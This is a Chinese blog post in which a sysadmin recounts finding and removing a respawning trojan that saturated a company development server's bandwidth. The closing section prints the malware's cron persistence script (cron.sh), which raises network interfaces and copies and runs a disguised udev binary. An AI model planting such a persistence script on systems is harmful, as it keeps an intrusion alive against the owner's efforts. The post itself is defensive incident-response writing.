1、起因
因为这台服务器是我们公司内部开发服务器,几乎每个人都有root密码。在两天前突然有同事反馈说偶尔会有ssh连不上,git代码无法提交的问题,刚开始也没有在意,以为是阿里云服务器网络波动的原因。
今天开发又像我反应redis连不上并且ssh也连不上,感觉事情没有想象的那么简单了,还好我在跳板机上能够远程连接上,所以就稍微看了一下。
2、处理过程
2.1 观察监控和服务器资源
因为觉得不对劲,所以瞄了一眼监控,发现这台服务器eth0网卡的流量被跑满了,图在下面
在服务器上通过ifconfig
查看,发现eth0这个网卡已经被跑了好几个T的流量了。
知道是因为网卡流量被跑满了,所以要看一下到底是什么进程跑掉的,于是ps -ef
看了一下,发现进程真特么多完全没法一眼看出来,想了想既然跑那么多流量那一定也比较吃资源,决定top d1
看一眼,不看不知道一看吓一跳,不多说了上图:
这个pid为7796的进程吃了76.2%的CPU,这是要上天啊!!!
2.2 话不多说就是干
二话不说直接kill -9 7796
,然后试了一次ssh连接,果然好使,秒秒钟就连上了,然后观察监控,果然流量也下来了。
2.3 事情并没有这么简单
然而事情并没有这么简单,我还没开始嘚瑟,流量又上去了,ssh也连不上了。
这个还带满血复活的么?事情并不简单,top d1
一看,又有一个不认识的进程起来了,还是那么的吃CPU。不管三七二十一又是一顿操作猛如虎秒秒钟杀了它。
满血复活应该是有定时任务啊!!!其实我也不确定有没有,反正有想法总是好的,然后crontab -l
看了一眼:
并没有定时任务啊,果然能做这种缺德事的一般脑子都是比较灵光的。还好我看了一眼定时任务的配置文件:
果然是定时任务的原因,然后赶紧把定时任务删了,把定时任务对应目录下的脚本自己down下来,然后删掉。
说了没那么简单,果然真的没那么简单,之前的处理方式太草率了,以为把定时任务删掉之后就万事大吉了,结果没多久又开始了:
这次我觉得慢慢来,看一下这个进程到底是哪里来的,已知进程pid为27894
查看一下这个进程的具体目录在哪里:
可以看到cwd -> /tmp,进入/tmp目录查看:
该目录下游几个可执行文件,直接删掉!!!
3、硬是没总结出什么来
关于这次的事件,具体是什么原因导致的我也没想明白,最大的可能就是root密码知道的人太多了。
最后把两个脚本放上来,大家研究研究:
0anacron
:
#!/bin/sh
# Check whether 0anacron was run today already
if test -r /var/spool/anacron/cron.daily; then
day=`cat /var/spool/anacron/cron.daily`
fi
if [ `date +%Y%m%d` = "$day" ]; then
exit 0;
fi
# Do not run jobs when on battery power
if test -x /usr/bin/on_ac_power; then
/usr/bin/on_ac_power >/dev/null 2>&1
if test $? -eq 1; then
exit 0
fi
fi
/usr/sbin/anacron -s
cron.sh
:
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {'print $1'}`; do ifconfig $i up& done
cp /lib/udev/udev /lib/udev/debug
/lib/udev/debug
参考:
Linux服务器中木马(肉鸡)手工清除方法 - -V - 博客园
Unix.Trojan.DDoS_XOR-1、Linux.Trojan.Agent(Linux.BackDoor.Gates.5)木马清理 - CSDN博客
一次Linux服务器被入侵和删除木马程序的经历-彩龙社区 - Powered by Discuz!
Linux服务器下Linux.BackDoor.Gates.5病毒的简单处理方法 - 小西瓜的管理和技术之路 - SegmentFault 思否